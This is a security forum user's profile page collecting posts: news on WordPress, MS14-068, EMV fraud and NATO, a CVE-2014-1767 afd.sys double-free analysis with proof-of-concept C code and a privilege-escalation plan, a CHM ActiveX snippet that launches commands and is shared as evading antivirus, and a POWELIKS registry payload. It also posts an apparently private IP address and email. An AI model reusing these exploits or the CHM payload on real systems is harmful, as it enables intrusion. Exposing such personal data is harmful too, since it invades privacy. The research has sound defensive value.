-
Posts
18715 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
[h=2]WordPress 4.0.1 Security Release[/h] Posted November 20, 2014 by Andrew Nacin. Filed under Releases, Security. WordPress 4.0.1 is now available. This is a critical security release for all previous versions and we strongly encourage you to update your sites immediately. Sites that support automatic background updates will be updated to WordPress 4.0.1 within the next few hours. If you are still on WordPress 3.9.2, 3.8.4, or 3.7.4, you will be updated to 3.9.3, 3.8.5, or 3.7.5 to keep everything secure. (We don’t support older versions, so please update to 4.0.1 for the latest and greatest.) WordPress versions 3.9.2 and earlier are affected by a critical cross-site scripting vulnerability, which could enable anonymous users to compromise a site. This was reported by Jouko Pynnonen. This issue does not affect version 4.0, but version 4.0.1 does address these eight security issues: Three cross-site scripting issues that a contributor or author could use to compromise a site. Discovered by Jon Cave, Robert Chapin, and John Blackbourn of the WordPress security team. A cross-site request forgery that could be used to trick a user into changing their password. An issue that could lead to a denial of service when passwords are checked. Reported by Javier Nieto Arevalo and Andres Rojas Guerrero. Additional protections for server-side request forgery attacks when WordPress makes HTTP requests. Reported by Ben Bidner (vortfu). An extremely unlikely hash collision could allow a user’s account to be compromised, that also required that they haven’t logged in since 2008 (I wish I were kidding). Reported by David Anderson. WordPress now invalidates the links in a password reset email if the user remembers their password, logs in, and changes their email address. Reported separately by Momen Bassel, Tanoy Bose, and Bojan Slavkovi? of ManageWP. Version 4.0.1 also fixes 23 bugs with 4.0, and we’ve made two hardening changes, including better validation of EXIF data we are extracting from uploaded photos. Reported by Chris Andrè Dale. We appreciated the responsible disclosure of these issues directly to our security team. For more information, see the release notes or consult the list of changes. Download WordPress 4.0.1 or venture over to Dashboard ? Updates and simply click “Update Now”. Already testing WordPress 4.1? The second beta is now available (zip) and it contains these security fixes. For more on 4.1, see the beta 1 announcement post. More info: https://wordpress.org/news/2014/11/wordpress-4-0-1/
-
Brazilian banks lost a great chance to be ahead in Security
Nytro posted a topic in Stiri securitate
Brazilian banks lost a great chance to be ahead in Security The biggest Brazilian TV channel, presents on last Sunday, a story about carders gang responsible for the “first EVM clone” case. According reporter, the gang had a hacker, called “director” by a member of gang, which was responsible for technology. Then the other members changed electronic circuits on point-of-sales machines to store pin and card during a transaction. After some days, carders collect data using Bluetooth and then clone chip information to blank cards. That is enough to begin to take money on ATM and buying at some electronic stores. The gang members bought electronics goods, spent money on nightlife and bought a house with estimated value of USD 500,000.00 on Rio de Janeiro, using money raised on frauds. The victims that claimed for the items not bought had reimbursement denied because according banking the pin and chip combination “cannot” be violated. During story, the FEBRABAN director said this situation only occurs with bank institutions that did not implement full security features, available on EVM technology. Also affirmed that in 2014, all Brazilian banks has implemented full security. Why you did not implemented this before? That is a good question and we probably know the response. It is not because they did not have knowledge about that security features. It is probably because it is faster and cheaper to implement without all features. That is what we called “Security by obscurity”, when they think it is safe just because the common people does not know how that stuff works. Another dictate says “Cheap is Expensive” and this kind of frauds has been classified as money loss. Unfortunately, accountants cannot calculate the client loss with time calling customer center and angry to take care on an issue that is not his responsibility. This formula is repeatedly used in many places, where they prefer to delivery something fast and unsafe or with minimal security. Sometimes, the absence of human resources to do the job may be the reason for some enterprises. Cyber Manifesto for Security Changes One of items listed on Cyber Manifesto for Security Changes, is to call business administrators for security governance. Looks like obvious, if you run a business, you should care with security of your customers and business but the daily reality is different as we can see with this TV story. The absence of security, alarms US bank institutions that is planning the deliverable of EVM cards on next year. A fraud seen in Brazil, can be quickly used in Europe or North America, faster than the solution to solve it. In terms of fraud, the Brazilians are on top of list, because as well said by Fabio Assolini – “Brazil has some of the most creative and active criminals specializing in credit card cloning” – in his article called Tips for using ATMs and avoiding credit card cloning. Brazil has some of the most creative and active criminals specializing in credit card cloning – Fabio Assolini Conclusion One more time, companies lost opportunity to protect itself before bad things happens. Many times, we, security professionals avoid treating business like a lotto or a casino roulette, but sometimes we need to take risks due a small budget. Pay attention when we alert about fraud risk and let Information Security help the business to grow healthy. Image Credit: Claran McGuiggan Sursa: https://www.linkedin.com/today/post/article/20141118004108-8638059-brazilian-banks-lost-a-great-chance-to-be-ahead-in-security -
IP: 95.19.205.12 Mail: vipvideos1234@gmail.com
-
Black Hat Usa 2014 - Exploit: Abusing Performance Optimization Weaknesses To Bypass Aslr Description: The primary goal of ASLR is to effectively randomize a program's memory layout so that adversaries cannot easily infer such information. As ASLR is a critical defense against exploitation, there have been tremendous efforts to evaluate the mechanism's security. To date, previous attacks that bypass ASLR have focused mostly on exploiting memory leak vulnerabilities, or abusing non-randomized data structures. In this presentation, we leverage vulnerabilities introduced by performance-oriented software design to reveal new ways in which ASLR can be bypassed. In addition to describing how vulnerabilities originate from such designs, we will present real attacks that exploit them. First, we analyze general hash table designs for various programming languages (JavaScript, Python, Ruby). To optimize object tracking for such languages, their interpreters may leak address information. Some hash table implementations directly store the address information in the table, whileothers permit inference of address information through repeated table scanning. We exhaustively examined several popular languages to see whether each of them has one or both of these problems, and present how they can be leveraged. As a concrete example, we demonstrate how address information can be leaked in the Safari web browser by simply running some JavaScript. Second, we present an analysis of the Zygote process creation model, which is an Android operating system design for speeding up application launches. The results of our examination show that Zygote weakens ASLR because all applications are created with largely identical memory layouts. To highlight the severity of this issue, we demonstrate two different ASLR bypass attacks using real applications - Google Chrome and VLC Media Player. For More Information Please visit : - Black Hat | Home
-
CVE-2014-1767 Afd.sys double-free vulnerability Analysis and Exploit [0x00]. Introduction First, I would like to present the reasons why I would focus on this vulnerability, (1) This afd.sys dangling pointer vulnerability was named as the best privilege escalation vulnerability in pwnie awards 2014. (2) The vul type was double-free, It woulb be very interesting. (3) So far, there’s no exp codes exposed, so it’s challenging and exciting to finish one exploit.. OK, now let’s go to our work, our experiment OS is Windows 7(6.1.7601) 32 bit. [0x01]. Vulnerability Root cause analysis A. poc overview Our most important reference was the paper : http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf, from the description of paper, we can get our poc as follows: ================================================= #include <windows.h> #include <stdio.h> #pragma comment(lib, “WS2_32.lib”) int main() { DWORD targetSize = 0×310 ; DWORD virtualAddress = 0×13371337 ; DWORD mdlSize=(0×4000*(targetSize-0×30)/8)-0xFFF-(virtualAddress& 0xFFF) ; static DWORD inbuf1[100] ; memset(inbuf1, 0, sizeof(inbuf1)) ; inbuf1[6] = virtualAddress ; inbuf1[7] = mdlSize ; inbuf1[10] = 1 ; static DWORD inbuf2[100] ; memset(inbuf2, 0, sizeof(inbuf2)) ; inbuf2[0] = 1 ; inbuf2[1] = 0x0AAAAAAA ; WSADATA WSAData ; SOCKET s ; sockaddr_in sa ; int ierr ; WSAStartup(0×2, &WSAData) ; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; memset(&sa, 0, sizeof(sa)) ; sa.sin_port = htons(135) ; sa.sin_addr.S_un.S_addr = inet_addr(“127.0.0.1?) ; sa.sin_family = AF_INET ; ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ; static char outBuf[100] ; DWORD bytesRet ; DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0×30, outBuf, 0, &bytesRet, NULL); DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0×18, outBuf, 0, &bytesRet, NULL); return 0 ; } ================================================= With WinDbg, we got following crash information: ================================================= BAD_POOL_CALLER (c2) The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc. Arguments: Arg1: 00000007, Attempt to free pool which was already freed Arg2: 00001097, (reserved) Arg3: 08bd0002, Memory contents of the pool block Arg4: 854b2a20, Address of the block of pool being deallocated Debugging Details: —————— POOL_ADDRESS: 854b2a20 Nonpaged pool FREED_POOL_TAG: Mdl STACK_TEXT: 8d524a6083f6dc6b000000c2 00000007 00001097 nt!KeBugCheck2+0x68b 8d524ad8 83ed8ec2 854b2a20 00000000 8636d260 nt!ExFreePoolWithTag+0x1b1 8d524aec 88787eb0 854b2a20 00000000 8876a89f nt!IoFreeMdl+0×70 8d524b08 8876a8ac00000000 00000001 05244d85 afd!AfdReturnTpInfo+0xad 8d524b44 8876bbba 05244d2d 000120c3 8876ba8c afd!AfdTliGetTpInfo+0×89 8d524bec 887702bc 854a2db8 86472720 8d524c14 afd!AfdTransmitPackets+0x12e 8d524bfc 83e83593 864727208540f5508540f550 afd!AfdDispatchDeviceControl+0x3b ================================================= We can get the IoControl Code from stack: kd> dd 8d524d04 8d524d04 8d524d34 83e8a1ea 00000050 00000000 8d524d14 00000000 00000000 001cf984 000120c3 ======================================== It is Io Control Code 0x120C3 which trigger the system crash, and the problem was double-free, and the object is MDL object. From the call stack, we know AfdTransmitPackets will be our main job, but we must finish analyzing function AfdTransmitFile first, because 0x120C3 was the second Device Io Control call, the first IoControlCall Code was 0x1207F, and in this call we reach AfdTransmitFile, and we will see this was just the first FREE happened ! So, We will Analyze from function AfdTransmitFile. B. Analysis of First IO CONTROL CALL a. Analysis of AfdTransmitFile AfdTransmitFile have two arguments, arg1=pIrp, arg2=pIoStackLocation, function can access user input by arg2. We have set some special value in inbuf1 in POC. We guess these values was used to control the execution flow., after reversing and debugging, we found the following ‘if’ Conditions would be TRUE, and we will reach the invoking to function AfdGetTpInfo. ============================ AfdTransmitFile(pIrp, pIoStack): inputBufferLen >= 0×30 inputBuffer & 0×3 == 0 inputBuffer < 0x7fff0000 memcpy(tempBuf, userBuf, 0×30) ; if(*(DWORD*)tempBuf+0×28) & 0xFFFFFFC8 == 0) if(*(DWORD*)tempBuf+0×28) & != 0×30) if(*(DWORD*)tempBuf+0×28) & 0×30 == 0) tpInfo = AfdGetTpInfo ( 3 ) // if we satisfiy all the cnoditions above, we’ll reach the call to AfdGetTpInfo ============================= b. Analysis of AfdTliGetTpInfo The code above shows if our inputbuf1 satisfied those conditions, we will reach a call to AfdTliGetTpInfo, this function generally return one pointer to TpInfo structure, but what’s a TpInfo structure ? By reversing some functions (AfdTliGetTpInfo, AfdReturnTpInfo, AfdAlocateTpInfo, AfdnitializeTpInfo) and debugging, we got the following definition: ======================== struct TpInfo { … TpElement *pElemArray ; // +0×20, pointer to TpElement Array … ULONG elemCount ; // +0×28, element number in pElemArray Array … BYTE isOuterMem ; // +0×32, whether pElemArray stores outside TpInfo … } struct TpElement { int flag ; // +0×00 ULONG length ; // +0×04 PVOID virtualAddress ; // +0×08 PMDL pMdl ; // +0x0C ULONG reserved1 ; ULONG reserved2 ; } ; =============================== AfdTliGetTpInfo function in IDA: The figure shows the C like code to AfdTliGetTpInfo, this function would get one TpInfo structure fromLookaside list, for ExAllocateFromNpagedLookasideList, we get its key flow reversing code: ====================== TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside) { *(Lookaside+0x0C) ++ ; tpInfo = InterlockedPopEntrySList( Lookaside ) if( tpInfo == NULL) { *(Lookaside+0×10)++; tpInfo = AfdAllocateTpInfo(NonPagedPool,0×108 ,0xc6646641) ; } return tpInfo } ======================= For AfdAllocateTpInfo, its C like reversing code is here: ============================ TpInfo * AfdAllocateTpInfo(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag) { p = ExAllocatePoolWithTagPriority(NonPagedPool, 0×108 ,0xc6646641) ; AfdInitializeTpInfo(p, 3, 3, 1) ; } ============================ And for AfdInitializeTpInfo, it simply initializes one TpInfo structure, following code shows the initialized value of some structure member we are interested. ======================== AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x) { …. tpInfo->pElemArray = tpInfo+0×90 tpInfo->elemCount = 0 tpInfo->isOuterMem = false …. } ========================= After debugging and tracing we found , the execution flow will be : ExAllocateFromNPagedLookasideList->AfdAlloceteTpInfo,AfdInitializeTpInfo, and after all these function executed, we got one TpInfo structure which is 0×108 bytes and has its pElementArray initialized as tpInfo+0×90, elemCount as 0, and isOuterMem as 0, for member isOuterMem, we say if the element number in pElemArray greater than 3, than we store the elements out of the tpInfo structure, we will allocate another buffer to store them, and we will set isOuterMem to 1. Now let’s back our mind to function AfdTransmitFile, we have just get one tpInfo structure by AfdGetTliTpInfo, and what to do next ? After we pass the if conditions, we will call IoAllocateMdl to Allocate one MDL object, and the arguments used to allocate MDL are from our inbuf1 ! this is exciting ! user buf control MDL’s virtualAddress and length !, next When we get the MDL pointer, we will try to lock the pages it described by MmProbeAndLockPages ! but , unfortunately , since the virtual address space we supplied is invalid ! (0×13371337~0×13371337+length) , we’ll get an exception ! and we will flow to the exception handler ! In the exception Handler , we will call function AfdReturnTpInfo ! This is our vul function, it’s so important that I nearly reversed all its asm code to C code , following is the result : =========================== for(int i = 0 ; i < *(tpInfo+0×28) ; i++) { PTPELEMENT tpElemArray = *(DWORD*)(tpInfo + 0×20) ; PTPELEMENT tpElement = tpElemArray + i*0×18 ; if(*(tpElement) & 0×02 == 0) { if(*(tpElement) < 0) { PMDL pMdl = *(DWORD*)(tpElement+0x0C) ; if(pMdl != NULL) { if(pMdl->MdlFlags & 0×02) { MmUnlockPages(pMdl) ; } // we free MDL // dangling Pointer here ! IoFreeMdl(pMdl) ; }}}} if(*(BYTE*)(tpInfo+0×32) != 0) { ExFreePoolWithTag(*(DWORD*)(tpInfp+0×20), 0C6646641h) ; *(BYTE*)(tpInfo+0×32) = 0 ; } if(arg2) // in our debugging , arg2=1 { // push TpInfo in lookaside list ExFreeToNPagedLookasideList(AfdGlobalData+0×178, tpInfo) ; } else { AfdFreeTpInfo(tpInfo) ; // ExFreePoolWithTag } =========================== In this function, we see, it simply enumerate all the elements in pElemArray, elementCount indicates the total elements in the array , it try to free the MDL object if the element stores one. The problem is it didn’n clear the pMdl pointer ! and it didn’t clear elemCount in TpInfo !, that means, if you have the ability to call this function AfdReturnTpInfo once again with this tpInfo, all the obsolete value will be treated available ! then, Double-free bug occurs ! Sounds exciting, we found the bug and know how to design it, but how can we call AfdReturnTpInfo once again with the TpInfo in the lookaside list. Note, in AfdReturnTpInfo it put the TpInfo pointer to lookaside list. So let’s see what the poc code do. C: The second Device io control CALL analysis a. AfdTransmitPackets The second call, Io control code is 0x120C3, and the AfdTransmitPackets will be invoked, the function’s pseudo code is like this: ==================================== __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack) { IoStack->InputBufferLength >= 0×10 IoStack->Type3InputBuffer & 3 == 0 IoStack->Type3InputBuffer < 0x7fff0000 memcpy(tempBuf, IoStack->Type3InputBuffer, 0×10); *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0 *(DWORD*)(tempBuf+0x0C) & 0×30 != 0×30 *(DWORD*)(tempBuf) != 0 *(DWORD*)(tempBuf+4) != 0 *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA // if we satisfy all the above conditions, we arrive here // user controled argument for AfdTliGetIpInfo ! AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) ) } ===================================== We have set inbuf2 : *(inbuf2) =1, *(inbuf+4)=0x0AAAAAAA, with these values we can reach the call to AfdTliGetTpInfo and the argument will be 0x0AAAAAAA which we specified. We have analzed the function AfdTliGetTpInfo, so we know it will pop one tpInfo structure from the lookaside list if the list is not empty ! Of course its not empty we just push one in ! so , the tpInfo structure we get from the list is just the first one with obsolete values inside it. And then in AfdGetTliTpInfo we reached the if condition because of 0x0AAAAAA>3, so we will call ExAllocatePool, but the allocation size is 0×18*0x0AAAAAAA == 0xFFFFFFF0 bytes ! that’s such big size in 32 bit os that we got a exception again ! This time in this exception handler we arrived AfdReturnTpInfo again ! So , that fits our plan, Obsolete TpInfo called by AfdReturnTpInfo, then double free bug occur ! D. root cause summary [1] first device io control will call AfdTransmitFile, in this function we will get one TpInfo structure by calling AfdTliGetTpInfo, and we will allocate one MDL object using user supplied virtual address and length, and fill the MDL address to TpInfo, next when we try to lock pages by calling MmProbeAndLockPages we got an exception because we give the mdl invalid address range !, in exception handler , programme call AfdReturnTpInfo simply free mdl and push TpInfo in the list, the bug is all obsolete values include elemCount and pMdl is still in the strcture and not cleared ! [2]second io control call AfdTransmitPackets internally, this function will simply call AfdGetTpInfo with our user data as its parameter, we set it to 0x0AAAAAAA, when executing AfdGetTpInfo, the TpInfo used in [1] is poped and used, but next we will got an exception when try to allocate large memory, and the exception handler will call AfdReturnTpInfo, in AfdReturnTpInfo, the obsolete values are treated as available, so double-free bug occus ! [0x02]. Double-free Vulnerability exploit a. general steps:(from the PDF paper) [1]. Invoke DeviceIoControl with IoControlCode = 0x1207F, free MDL Object [2]. Create one kernel object X to occupy the freed space [3] . Invoke DeviceIoControl with IoControlCode = 0x120C3, and now because double-free bug we’ll free the object X we just created [4]. Occupy the freed object X space with our controlled data (double free to use after free) [5]. Try to invoke one function which can operate on the Object X, and the function have the ability to finish one ‘any dword write to any address’, consider in [4] we have controlled the object fileds, so this can be possible, all needed is the function have some internal statements to use our object content as address ! if we find such object with this perfect function, we will try to hijack HalDispatchTable [6] in user mode trigger HalDispatchTable function invoked, than we can flow to kernel mode shellcode b. What’s the Object X ? Object X is used as use-after-free object, there are two restrictions here: (1) the allocated size should be equal as the freed MDL size (2) the object must have some functions which we can internally finish one ‘anywhere write anything’ for (1), we don’t need to worry, because we can control the freed MDL size !, as mentioned above , AfdTransmitFile allocate MDL using our supplied virtual address and length. So we can control MDL size. More detail: pages = ((Length & 0xFFF) + (VirtualAddress & 0xFFF) + 0xFFF)>>12 + (length>>12) freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C for (2), it’s tricky and hard to find such perfect function, we reference the PDF paper and found ‘WorkerFactory’ Object. We can create WorkerFactory object by NtCreateWorkerFactory. And the perfect function is NtSetInformationWorkerFactory, let’s have a look at its code: We find there’s one assignment statement inside, and after analysis the control flow would reach here when (arg2==8 && *arg3!=0), we can set *arg3 = ShellCode, *(*object+0×10)+0x1C = &HalDispatchTable[1], then we can wirte our shellcode address to HalDispatchTable ! C. How can we occupy the freed WorkerFactory object using our controlled data ? The user mode function VirtualAlloc have no ability to allocate kernel non-paged pool memory for us, so the solution is like the idea of NtSetInformationWorkerFactory, we should find one Nt* kernel function, and it has the ability to allocate kernel memory and can copy our user data to the allocated pool !, with the hint in PDF, we focus on the function NtQueryEaFile: Inside this function ?it will simply call: p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49) memcpy(p, EaList) EaLength and Ealist is user controlled !, This function is perfect for us, it can allocate nonpaged pool memory and copy our data to that buffer. Although it will free this pool before it exit, the pool has only its first several bytes corrupted. And there’s one problem we should notice, here we use ExAllocatePoolWithQuotaTag rather than ExAllocatePoolWithTag, they are different in allocation size, ExAllocatePoolWithQuotaTag internally call ExAllocatePoolWithTag(PoolType, length+4, tag). So, if we would like to occupy the corrupted object successfully, we need specify EaLength=ObjSize-4. c. what’s the allocation size of WorkerFactory Object ? Only by identifying this can we do a serie of occupy-free , to find this you should trace and debug the following functions: NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->ExAllocatePoolWithTag. And in our environment this allocation size is 0xA0 bytes with 0×28 bytes additional information wrapped the object body. In the first 0×28 bytes, there contains object header information, we should set valid data here in case the fail when invoking ObReferenceObjectByHandle in NtSetInformationWorkerFactory. d. exploit flow design, su system successfully ! [1]. Invoking DeviceIoControl with code 0x1207F, by design the input virtual Address and length, we let kernel allocate the MDL object in size 0xA0, and finally kernel will free it.. [2] NtCreateWorkerFactory create new WorkerFactory object, because of the size, this object will occupy the freed memory space in [1] [3] Invoking DeviceIoControl with code 0x120C3, by design the input , we can lead the control flow to an double free bug, and this will simply free the memory our new WorkerFactory Object just occupied ! [4] NtQueryEaFile, this will set controlled data (fake object) to the memory just freed in [3] [5] NtSetInformationWorkerFactory operates on the fake object and internally it will cause a HalDispatchTable write, we change the DWORD at HalDispatchTable+4 to ShellCode address. [6] trigger from user mode by call NtQueryIntervalProfile e. Say no to BSOD, hack HandleTableEntry We found although we can get system command shell, when we close the exp exe programme, the system will got blue screen ! It’s easy to understand the root cause, beeause we have destroy the WorkerFactory object , but system isn’t aware of this, when the exe process exit, it will free all handle resources and we would got invalid memory access exception. =============== 93da9b74 83e8d3d8 00000000 bad0b124 00000000 nt!MmAccessFault+0×106 93da9b74 8409210f 00000000 bad0b124 00000000 nt!KiTrap0E+0xdc 93da9c38 840c0ba9 890d33b0 95e7c288 853f4030 nt!ObpCloseHandleTableEntry+0×28 93da9c68 840a8f86 890d33b0 93da9c7c 890012c8 nt!ExSweepHandleTable+0x5f 93da9c88 840b6666 bee06ad8 00000000 853f36a0 nt!ObKillProcess+0×54 93da9cfc 840a8bb9 00000000 ffffffff 002dfa38 nt!PspExitThread+0x5db 93da9d24 83e8a1ea ffffffff 00000000 002dfa44 nt!NtTerminateProcess+0x1fa ================= We found the solution in ExSweepHandleTable: ====================== Handle = 4 while(ObjectTable->HandleCount) { HandleTableEntry = ExpLookupHandleTableEntry(ObjectTable, Handle) ; if(*((DWORD*)(HandleTableEntry) & 1) { ObpCloseHandleTableEntry(…) ; } Handle += 4 } ====================== As you see, ExSweepHandleTable will enumerate every handle’s handleTableEntry and the ‘if’ condition will check the first DWORD in HandleTableEntry, our solution is to set this filed to NULL, than we can bypass the free flow to the specific Handle ! The releationship between Handle and HandleTableEntry is like this, we got this by reversing ExpLookupHandleTableEntry. HandleTableEntry = *(DWORD*)ObjectTable + 2*(Handle & 0xFFFFFFC0) [0x03] Last For win 7 x64, structure offset needed modified, and you should use CreateRoundRectRgn to eat kenel memory. For Windows 8, which expoit would be more challenging , please reference the PDF NtSetInformationWrokerFactory and NtQueryEaFile are all treasure ! BY : 0x710DDDD 2014-11-19 afd_1767_Exp Sursa: [EnglishVersion]CVE-2014-1767 Afd.sys double-free vulnerability Analysis and Exploit - Binary Vuln Analysis - Vulnerability Analysis - SecNiu
-
Welcome to the free malware analysis webservice by Payload-Security.com. You can submit files for analysis using the form below. All submitted files will be analyzed using our innovative Hybrid Analysis technology. Link: Payload Security - VxStream Sandbox Public Beta - Malware Analysis
-
Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) Published: November 18, 2014 Version: 1.0 Executive Summary This security update resolves a privately reported vulnerability in Microsoft Windows Kerberos KDC that could allow an attacker to elevate unprivileged domain user account privileges to those of the domain administrator account. An attacker could use these elevated privileges to compromise any computer in the domain, including domain controllers. An attacker must have valid domain credentials to exploit this vulnerability. The affected component is available remotely to users who have standard user accounts with domain credentials; this is not the case for users with local account credentials only. When this security bulletin was issued, Microsoft was aware of limited, targeted attacks that attempt to exploit this vulnerability. This security update is rated Critical for all supported editions of Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2. The update is also being provided on a defense-in-depth basis for all supported editions of Windows Vista, Windows 7, Windows 8, and Windows 8.1. For more information, see the Affected Software section. The security update addresses the vulnerability by correcting signature verification behavior in Windows implementations of Kerberos. For more information about the vulnerability, see the Frequently Asked Questions (FAQ) subsection for the specific vulnerability. For more information about this update, see Microsoft Knowledge Base Article 3011780. Sursa: https://technet.microsoft.com/library/security/MS14-068
-
400 Hackers Are Defending NATO in a Massive Cyberwar Game November 18, 2014 // 05:52 PM EST ?These days—in the wake of persistent attacks from hostile actors—NATO is taking cyber war very seriously. It’s part of the reason why it’s beginning its largest cyber attack exercise ever today, to better prepare member nations for the modern digital battlefield. “This exercise will test our systems to make sure that NATO keeps pace with that evolving threat,” said Ambassador Sorin Ducaru, NATO Assistant Secretary General for Emerging Security Challenges. Over 400 personnel from across alliance nations will be participating in the exercise from the comfort of their home countries. Though the drills will aim at combating threats in an organized bloc. In the last year alone, hackers from suspected enemy states have stolen sensitive intelligence from NATO networks, or in the case of Chinese spies in July—valuable Canadian scientific research and development—from right under the noses of intelligence agencies. According to Ducaru the “the cyber threat” isn’t simply one-off attacks, either. Instead, hackers exploiting NATO systems is a “daily reality,” requiring persistent international coordination to combat the threat. For NATO, the exercises are all about improving efforts and communication among member nations, “against a series of targeted cyber incidents involving a NATO mission network.” As in, when NATO is attacked, it sets off alarm bells for the alliance to properly engage potential attackers. This exercise will test our systems to make sure that NATO keeps pace with that evolving threat And there’s no mistaking how seriously NATO sees new digital enemies. In the words of the most powerful military collective in the world, cyber attacks are potentially “as harmful to modern societies as a conventional attack.” But attacks on NATO infrastructure are nothing new. During tensions over Crimea in March, NATO websites and social media accounts were attacked by pro-Russian hackers. Then again in October, with hostilities still simmering with the Vladimir Putin regime, NATO computers were exploited by Russian hackers who went on to access networks in the White House. In a proactive move, NATO looks to be interested in upgrading its computer technologies, potentially in an effort to modernize its systems to be more secure. In two separate requests for contracts in the US and Canada, NATO is asking for expertise in an effort for “Modernization and Rationalization of the NATO Technology Infrastructure.” The plan is for 44 sites to be upgraded into cloud-based technologies over the next few years, with private consultants providing key expertise. The latest NATO exercises come on the heels of real world military exercises in Ukraine in September, along with ongoing deployments of NATO troops in Poland. All those efforts are largely seen as acts of solidarity with regional powers opposing Russia. Ultimately, with a growing list of enemy actors exploiting NATO networks, it really is high time the western military alliance sharpen its cyber defense skills before another intelligence loss, or worse. Sursa: http://motherboard.vice.com/read/nato-is-sharpening-its-cyber-war-defenses
-
Au fost prinsi cei care au "spart" site-ul IGPR
Nytro replied to D--ABLO's topic in Stiri securitate
Legiunea pulii. Copii prosti. -
Run calc.exe from chm: SAMPLE
Nytro replied to Nytro's topic in Reverse engineering & exploit development
In numele fisierului: "infected". Merge. Si functioneaza asa: <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=",cmd.exe,/c calc ,"> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> Acel classid identifica HHCtrl Object, un ActiveX numit IE HTML Help Control. -
POWELIKS Levels Up With New Autostart Mechanism by Roddell Santos (Threats Analyst) Last August, we wrote about POWELIKS’s malware routines that are known for hiding its malicious codes in the registry entry as part of its evasion tactics. In the newer samples we spotted, malware detected as TROJ_POWELIKS.B employed a new autostart mechanism and removes users’ privileges in viewing the registry’s content. As a result, users won’t be able to suspect that their systems are already infected by the POWELIKS malware. This new autostart technique is fairly new to the threat landscape, a technique that is not currently covered by Autoruns for Windows. This Windows utility shows all files and registries that will execute upon Windows startup. When executed, POWELIKS creates the following registry entry: [HKEY_CURRENT_USER\Software\Classes\clsid\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32] (Default)=”rundll32.exe javascript:\”\\..\\mshtml,RunHTMLApplication \”;eval…….” a=”#@~^XHoAAA=……” Normally, users will see the following screenshots via the registry editor: Figure 1: The created key of Poweliks Based on the above screenshot, it would seem that the malware isn’t present in the registry. However, the contents of the POWELIKS malware is actually hidden and successfully hides its code by removing the user’s permission in the specific registry. Figure 2: User’s permission profile Best Practices: How to add permissions Users can navigate their way around this malware technique and view the registry content by adding the user name or group to the registry key’s permission section. This can be done via the following steps: Open Registry Editor Go to the registry key HKCU\Software\Classes\clsid On the left panel, right click {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} Highlight the user name In the “Allow” section, select “Full Control” and “Read” (see Figure 3) Click “OK” to save changes Close Registry Editor, then open it again to reflect the changes Figure 3: Updated user’s permission profile Once done, the malware will now be visible as shown below: Figure 4. The visible malware code When the malware creates an entry in HKCU\SOFTWARE\Classes\CLSID, Windows reflects this entry in HKCR\CLSID as shown below. Figure 5. The updated HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} key Why this CLSID? CLSID is not a known autostart entry. So, why did cybercriminals opt to use this registry and not the typical autostart entries? This CLSID is for Window’s thumbnail cache, which Windows calls whenever a thumbnail for any file is needed – for images, audio, etc. As such, when this CLSID is called, it will execute the entry in HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 to show the thumbnail of the file as well as the entry of POWELIKS in this key. This in turn, loads POWELIKS every time, as seen in the screenshot below: Figure 6: POWELIKS uses dllhost.exe to load itself on the system. Each dllhost.exe indicates a running POWELIKS. Best Practices: Manual Removal While this threat is continuously evolving as seen in the new evasion tactic, it can be manually removed from the systems via the following steps: Download and execute Microsoft’s Process Explorer Restart in Safe Mode. Select the latest dllhost.exe mother process (see Figure 7) Figure 7: Terminating the dllhost process Right click and select “Kill Process Tree” Open Registry Editor (Run > regedit.exe) In the left panel, go to HKCU\SOFTWARE\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} Add Permissions to the user (see instructions on Adding Permission) In the right panel, delete the registry values “Default” and “a”. The whole CLSID cannot be deleted because of the presence of the blank key. If this is successful, the registry should look like this: Figure 8: Clean registry entries In the event that these values are recreated, it just means that POWELIKS is still running. Repeat step 3 to ensure that no dllhost.exe is still running. Close Registry Editor Conclusion The POWELIKS malware poses serious risks as its routines prevent it from being detected and removed from systems. In addition, one of its payloads is click fraud. To check if your systems are infected by this threat, perform the suggested removal actions on your systems. We also recommend users to install a security software that can detect such malicious files. Trend Micro protects users from this threat via the Trend Micro Smart Protection Network that detects the said malware.The following is the related hash for this threat: F2E179CB7307DF6190A783D5B72F1905C6F3BA3B – TROJ_POWELIKS.B With additional analysis from Ohlord Gagto Sursa: POWELIKS Levels Up With New Autostart Mechanism
-
Run calc.exe via open Chm file, no UAC warning and no av detects! Sample : https://mega.co.nz/#!tRkkFLwY!vwwya5sF3btFVnItOeV7-VN7402uMhlaCAEPjiZy-og
-
